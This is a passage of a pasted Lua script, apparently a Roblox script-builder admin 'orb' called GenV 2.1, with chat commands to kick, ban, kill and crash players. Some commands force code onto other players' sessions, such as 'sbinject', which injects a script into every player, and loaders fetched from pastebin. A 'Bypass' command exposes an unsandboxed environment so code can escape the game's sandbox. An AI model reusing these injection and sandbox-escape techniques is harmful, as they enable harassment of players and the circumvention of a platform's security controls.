  835. ScrollingFrame.Visible = true
  836. end)
  837. end
  838. end)
  839. local function GetNumberOfChildren(Object)
  840. local Number = -15
  841. for index,child in pairs(Object:GetChildren()) do
  842. if child.ClassName == "TextLabel" then
  843. Number = Number + 15
  844. end
  845. end
  846. return Number
  847. end
  848. local function Output(Text, Color)
  849. local Line = Create "TextLabel" {
  850. ZIndex = 2,
  851. BackgroundTransparency = 1,
  852. BorderSizePixel = 0,
  853. Text = string.format(" %s", Text),
  854. Font = "SourceSansBold",
  855. FontSize = "Size14",
  856. TextColor3 = Color,
  857. TextWrapped = false,
  858. Size = UDim2.new(1, 0, 0, 15),
  859. Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)),
  860. TextXAlignment = "Left",
  861. TextYAlignment = "Top",
  862. TextStrokeTransparency = 0.9,
  863. Parent = ScrollingFrame,
  864. }
  865. if #ScrollingFrame:GetChildren() > 29 then
  866. local NumChildren = GetNumberOfChildren(ScrollingFrame)
  867. ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
  868. ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.y.Offset - ScrollingFrame.AbsoluteSize.y) + 5)
  869. end
  870. end
  871. local function OutputLogHistory()
  872. for index,data in pairs(game.LogService:GetLogHistory()) do
  873. if data.messageType == Enum.MessageType.MessageOutput then
  874. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1))
  875. elseif data.messageType == Enum.MessageType.MessageWarning then
  876. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4))
  877. elseif data.messageType == Enum.MessageType.MessageError then
  878. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0))
  879. elseif data.messageType == Enum.MessageType.MessageInfo then
  880. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1))
  881. end
  882. end
  883. end
  884. OutputLogHistory()
  885. Refresh.MouseButton1Down:connect(function()
  886. ScrollingFrame:ClearAllChildren()
  887. wait()
  888. OutputLogHistory()
  889. end)
  890. end)
  891. end
  892. end local GiveServerConsole = API.GiveServerConsole
  893.  
  894. function API.SafeExe(string_src,string_plr)
  895. if string_src == nil then string_src = "" end
  896.  
  897. local BypassEnv = getfenv(1)
  898. BypassEnv.script = "Locked Object"
  899. BypassEnv.print_to = print_to
  900. rawset(_G,"NewBypassEnv",BypassEnv)
  901.  
  902. local ExecuteSource = [[
  903. wait(.1)
  904. local newEnv = _G.NewBypassEnv
  905. newEnv.owner = getfenv(1).owner
  906. newEnv.print = function(i)
  907. if i == nil then i = "" end
  908. newEnv.print_to(tostring(owner),i)
  909. end
  910. setfenv(1,newEnv)
  911. ]]
  912. local ExeSrc = ExecuteSource..string_src
  913. Sbexe("c/"..ExeSrc,string_plr)
  914. end local SafeExe = API.SafeExe
  915.  
  916. --// Admin API
  917.  
  918. function API.GetAdmins(plr)
  919. for i,v in pairs(GenV.Admins)do
  920. print_to(plr,"["..i.."]-"..GenV.Levels[v.Level])
  921. end
  922. end local GetAdmins = API.GetAdmins
  923.  
  924. function API.AddCommand(Name,Usage,Desc,Level,Func)
  925. table.insert(GenV.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func})
  926. end local AddCommand = API.AddCommand
  927.  
  928. function API.Chatted(plr,msg)
  929. if msg:lower()=='h/http://pastebin.com/raw.php?i=TdtSWRAL'then
  930. Sbexe("g/ns")
  931. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  932. end
  933. local Commands = GenV.Chatted.Commands
  934. local Prefix = GenV.Chatted.Settings.Prefix
  935. local Suffix = GenV.Chatted.Settings.Suffix
  936. local sub = string.sub
  937. local lower = string.lower
  938. if sub(msg,1,3)=='/e 'then
  939. msg = sub(msg,4)
  940. end
  941. if GenV.Admins[plr.Name]then
  942. for index,data in pairs(Commands)do
  943. if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then
  944. if GenV.Admins[plr.Name].Level >= data.Level then
  945. local y,n = ypcall(function()
  946. data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr)
  947. end)
  948. if not y then
  949. print_to(plr,"[Error]: a command related error has occured : "..n)
  950. end
  951. else
  952. print_to(plr,"[Error]: Your access level is to low for that command")
  953. end
  954. end
  955. end
  956. end
  957. end local Chatted = API.Chatted
  958.  
  959. function API.BootCommands()--// Function that calls and injects all commands
  960.  
  961. AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player)
  962. print_to(Player,"[GenV 2.1 [ORIGINAL]]: TEST")
  963. end)
  964.  
  965. AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player)
  966. print_to(Player,"Got Commands")
  967. print_to(Player,"---------------------------------------------------------------")
  968. for index,data in pairs(GenV.Chatted.Commands)do
  969. print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]")
  970. print_to(Player,"---------------------------------------------------------------")
  971. end
  972. end)
  973.  
  974. AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player)
  975. print_to(Player,"Got admins")
  976. GetAdmins(Player)
  977. end)
  978.  
  979. AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player)
  980. GetLogs(Player)
  981. end)
  982.  
  983. AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player)
  984. local Split = GetSplit(Message)
  985. local Plrs
  986. local Reason
  987. if Split == nil then
  988. Plrs = Collect_Players(Message,Player)
  989. Reason = nil
  990. else
  991. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  992. Reason = Message:sub(Split+1)
  993. end
  994. if #Plrs>0 then
  995. for _,Plr in pairs(Plrs) do
  996. if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end
  997. Plr:Kick(Reason)
  998. end
  999. end
  1000. end)
  1001.  
  1002. AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player)
  1003. local Split = GetSplit(Message)
  1004. local Plrs
  1005. local Reason
  1006. if Split == nil then
  1007. Plrs = Collect_Players(Message,Player)
  1008. Reason = nil
  1009. else
  1010. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  1011. Reason = tostring(Message:sub(Split+1))
  1012. end
  1013. if #Plrs>0 then
  1014. for _,Plr in pairs(Plrs) do
  1015. if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end
  1016. --table.insert(GenV.Banned,tostring(Plr.Name)==tostring(Reason))
  1017. GenV.Banned[Plr.Name]=tostring(Reason)
  1018. Plr:Kick("You have been banned for:/n "..tostring(Reason))
  1019. end
  1020. end
  1021. end)
  1022.  
  1023. AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player)
  1024. for i,v in pairs(GenV.Banned)do
  1025. if string.sub(string.lower(i),1,#Message)==string.lower(Message)then
  1026. GenV.Banned[i]=nil
  1027. end
  1028. end
  1029. end)
  1030.  
  1031. AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player)
  1032. print_to(Player,"Got Banned")
  1033. print_to(Player,"--------------------------------")
  1034. for i,v in pairs(GenV.Banned)do
  1035. print_to(Player,"["..tostring(i).."]: "..tostring(v))
  1036. print_to(Player,"--------------------------------")
  1037. end
  1038. end)
  1039.  
  1040. AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player)
  1041. local Split = GetSplit(Message)
  1042. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  1043. local Command = Message:sub(Split+1)
  1044. if #Plrs>0 then
  1045. for index,data in pairs(Plrs)do
  1046. Sbexe(Command,data)--afk
  1047. end
  1048. end
  1049. end)
  1050.  
  1051. AddCommand('Loader','injl','Injects GenV loader to a player',3,function(Message, Collect_Players, Player)
  1052. local Plrs = Collect_Players(Message,Player)
  1053. if #Plrs > 0 then
  1054. for i,v in pairs(Plrs)do
  1055. print_to(v,"[GenV 2.1 [ORIGINAL]]: has issued a loader to you")
  1056. InjectLoader(v)
  1057. end
  1058. end
  1059. end)
  1060.  
  1061. AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player)
  1062. ChangeTheme(Player,Message)
  1063. end)
  1064.  
  1065. AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player)
  1066. if #Message>0 then
  1067. local Plrs = Collect_Players(Message,Player)
  1068. if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end
  1069. for index,data in pairs(Plrs)do
  1070. Follow(true,data.Name)
  1071. end
  1072. else
  1073. Follow(true,Player.Name)
  1074. end
  1075. end)
  1076.  
  1077. AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player)
  1078. Follow(false,"")
  1079. end)
  1080.  
  1081. AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player)
  1082. for i,v in pairs(game:GetService('Players'):children())do
  1083. Sbexe([[g/rj]],v)
  1084. wait(.2)
  1085. v:Kick('This server has shutdown')
  1086. end
  1087. end)
  1088. AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player)
  1089. local Split = GetSplit(Message)
  1090. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  1091. local Level = tonumber(Message:sub(Split+1))
  1092. if #Plrs>0 then
  1093. for index,data in pairs(Plrs)do
  1094. if Level > GenV.Admins[data.Name].Level and GenV.Admins[data.Name].Level >= GenV.Admins[Player.Name].Level then
  1095. print_to(data,"[Error]: You cant set your level higher then your own")
  1096. else
  1097. print("[GenV 2.1 [ORIGINAL]]: Has set "..data.Name.."'s Access level to ["..Level.."]")
  1098. GenV.Admins[data.Name].Level = tonumber(Level)
  1099. end
  1100. end
  1101. end
  1102. end)
  1103.  
  1104. AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player)
  1105. local newEnv = getfenv(1)
  1106. newEnv.script = nil
  1107. newEnv.warn = print
  1108. newEnv.print = print
  1109. newEnv.print_to = print_to
  1110. newEnv.broadcast = broadcast
  1111. rawset(_G,"Bypass",function()
  1112. return newEnv
  1113. end)
  1114. broadcast('[GenV 2.1 [ORIGINAL]]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code')
  1115. end)
  1116. AddCommand('Kill player','kp','Kills a player',2,function(Message,Player)
  1117. workspace:FindFirstChild(Message).Head:Explode()
  1118. end)
  1119. AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player)
  1120. if #Message>0 then
  1121. if Message:lower() == 'true' then
  1122. if GenV.Blocker.LocalBlock == true and GenV.Blocker.LocalBlock == true then
  1123. print_to(Player,"[GenV 2.1 [ORIGINAL]]: Scripting is already locked")
  1124. else
  1125. GenV.Blocker.LocalBlock = true
  1126. GenV.Blocker.GlobalBlock = true
  1127. print('[GenV 2.1 [ORIGINAL]]: Is locking Scripting')
  1128. end
  1129. elseif Message:lower()=='false' then
  1130. if GenV.Blocker.LocalBlock == false and GenV.Blocker.LocalBlock == false then
  1131. print_to(Player,"[GenV 2.1 [ORIGINAL]]: Scripting is already unlocked")
  1132. else
  1133. GenV.Blocker.LocalBlock = false
  1134. GenV.Blocker.GlobalBlock = false
  1135. print('[GenV 2.1 [ORIGINAL]]: Is unlocking Scripting')
  1136. end
  1137. end
  1138. end
  1139. end)
  1140. AddCommand('Set Speed','spd','Sets speed',3,function(Message, Collect_Players, Player)
  1141. local n = tonumber(Message)
  1142. if type(n) == 'number' then
  1143. Settings.Rotation.Speed = n
  1144. end
  1145. end)
  1146. AddCommand('Set bounce','setb','Sets the bounce value of GenV.',3,function(Message,Player)
  1147. local bouncev = tonumber(Message)
  1148. if type(bouncev) == 'number' then
  1149. Settings.Rotation.Bounce = tonumber(Message)
  1150. end
  1151. end)
  1152.  
  1153.  
  1154. AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player)
  1155. if #Message>0 then
  1156. if Message:lower() == 'true'then
  1157. ChangeTheme(Player,'hidden')
  1158. elseif Message:lower()== 'false' then
  1159. ChangeTheme(Player,'normal')
  1160. end
  1161. end
  1162. end)
  1163.  
  1164. AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player)
  1165. GetSavedScripts(Player)
  1166. end)
  1167.  
  1168. --[[ AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player)
  1169. --[[local Data = rbxdb:GetAllData()
  1170. if type(Data)=='table'then
  1171. for i,v in pairs(Data)do wait(.1)
  1172. print_to(Player,tostring(i)..":"..tostring(v))
  1173. end
  1174. end
  1175. end)]]--]]--
  1176.  
  1177. AddCommand('Console','sc','Gives Server Console',5,function(Message, Collect_Players, Player)
  1178. GiveServerConsole(Player)
  1179. end)
  1180. AddCommand('Script Inject','sbinject','Injects a script to all players (Say the script like ;sbinject-game.Players.LocalPlayer:Remove()', 5, function(Message, Collect_Players, Player)
  1181.  
  1182.  
  1183. local children = game.Players:GetChildren()
  1184. for i = 1, #children do
  1185. Sbexe("remove/GenVEXE",children[i].Name)
  1186. wait()
  1187. Sbexe("create/GenVEXE",children[i].Name)
  1188. wait()
  1189. Sbexe("edit/GenVEXE",children[i].Name)
  1190. wait()
  1191. Sbexe(Message,children[i].Name)
  1192. wait()
  1193. Sbexe("exit/",children[i].Name)
  1194. Sbexe("run/GenVEXE",children[i].Name)
  1195. Sbexe('remove/GenVEXE',children[i].Name)
  1196. end
  1197. end)
  1198.  
  1199. AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player)
  1200. GetGarbage(Player)
  1201. end)
  1202.  
  1203.  
  1204. AddCommand('grs','grs','Gets all the running scripts',2e9,function(Message, Collect_Players, Player)
  1205. print_to(Player,"Got Running scripts")
  1206. for index, child in pairs(workspace:GetChildren()) do
  1207. --print(index, child.Name)
  1208. wait(.1)
  1209. print_to(Player,child.Name)
  1210. end
  1211. end)
  1212.  
  1213. AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player)
  1214. if #Message > 0 then
  1215. SafeExe(Message,Player)
  1216. end
  1217. end)
  1218. AddCommand('Kill Rot','kill','Kills the orb rot if its a emergency',4,function(Message, Collect_Players, Player)
  1219. GenV.__STATUS = not GenV.__STATUS
  1220. if not game.Workspace:FindFirstChild("\5\5\5ii\5Orb\5 2.1\5\5")then
  1221. SpawnOrb()
  1222. end
  1223. end)
  1224. AddCommand('SmoothLoad','sml','Loads some terrain [GWC Approved]',3,function(Message,Player)
  1225. if game.Players:FindFirstChild(Message) then
  1226. Sbexe([[hl/http://pastebin.com/raw.php?i=ctyyEdQp]],Message)
  1227. --Created by GuyWithACleverName
  1228. else
  1229. end end)
  1230. AddCommand('ChatServ','cs','Activates ChatServ [gwc]',3,function(Message)
  1231. for i,v in pairs(game.Players:GetPlayers()) do
  1232. Sbexe([[hl/http://pastebin.com/raw.php?i=uG7KqYWW]],v)
  1233. end
  1234. end)
  1235.  
  1236.  
  1237. end local BootCommands = API.BootCommands
  1238.  
  1239. function API.Connect(plr)
  1240. if type(plr)~='userdata'then return end
  1241.  
  1242. local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious","error18"}
  1243. if plr.AccountAge/365 < .5 then
  1244. for i,v in pairs(Allowed_YoungPlrs)do
  1245. if not plr.Name == v then
  1246. plr:Kick("[GenV 2.1 [ORIGINAL]]: Sorry your AccountAge is to young to join this game")
  1247. end
  1248. end
  1249. end
  1250.  
  1251. if GenV.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(GenV.Banned[plr.Name]) end
  1252.  
  1253. if not GenV.Admins[plr.Name]then
  1254. GenV.Admins[plr.Name] = {Level=1}
  1255. elseif GenV.Admins[plr.Name]then
  1256. end
  1257. ConnectLogger(plr)
  1258. plr.Chatted:connect(function(msg)
  1259. Chatted(plr,msg)
  1260. end)
  1261. end local Connect = API.Connect
  1262. API.userIDParse = function(id)
  1263. local result=game.Players:GetNameFromUserIdAsync(id)
  1264. return result
  1265. end
  1266. local userIDParse = API.userIDParse
  1267. --//One last thing, UserID Parse.
  1268. AddCommand('UserID Parse','uidp','Parses an ID and returns it back as a user.',3,function(Message,Player)
  1269. local res = userIDParse(Message)
  1270. print('result came: '..res..'.')
  1271. end)
  1272. --//asd
  1273. AddCommand('Override','ovrde','Overrides any other orb running with OSC enabled.',5,function(Message,Player)
  1274. game.itemChanged:connect(function(i)
  1275. osc = _G.OSC_AddServerSideData
  1276. _G.OSC_AddServerSideData = nil
  1277. end)
  1278. end)
  1279. --// Bootstrapper functions
  1280.  
  1281. function Bootstrap:Boot()
  1282. local DeploymentID = Generate(math.random(1,50)*2/3)
  1283. --// Bootup
  1284. SpawnOrb()
  1285. Rotate()
  1286. BootCommands()
  1287. for i,v in pairs(game:GetService('Players'):children())do
  1288. Connect(v)
  1289. end
  1290.  
  1291. game:GetService('Players').PlayerAdded:connect(function(plr)
  1292. wait(.5)
  1293. Connect(plr)
  1294. end)
  1295.  
  1296. game.Workspace.DescendantAdded:connect(function(obj)
  1297. if obj.ClassName == "Script" then
  1298. if GenV.Blocker.GlobalBlock == true then
  1299. obj.Disabled = true
  1300. obj:Destroy()
  1301. end
  1302. elseif obj.ClassName == "LocalScript" then
  1303. if GenV.Blocker.LocalBlock == true then
  1304. obj.Disabled = true
  1305. obj:Destroy()
  1306. end
  1307. end
  1308. end)
  1309. --game.DescendantAdded:connect(function(instance)
  1310. --if GenV.Blocker.LagBlocker== true then
  1311. --if GenV.LagBlockedInstances[instance.ClassName]then
  1312. --instance:Destroy()
  1313. --end
  1314. --end
  1315. --end)
  1316.  
  1317.  
  1318.  
  1319.  
  1320. end
  1321.  
  1322. if script.ClassName == 'Script'then
  1323. if not game.Workspace:FindFirstChild("\5\5\5ii\5Orb\5 2.1\5\5")then
  1324. local y,n = pcall(function()
  1325. GenV.API.Bootstrap:Boot()
  1326. end)if not y then print('{ERROR}: '..n)end
  1327. end
  1328. elseif script.ClassName == 'ModuleScript'then
  1329. return GenV.Api.Bootstrap:Boot()
  1330. end
  1331. ChangeTheme('GenV','hidden')
  1332. broadcast'GuyWithACleverName is an asshole.' -- dont use [[ ]] it filters \ -error18
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement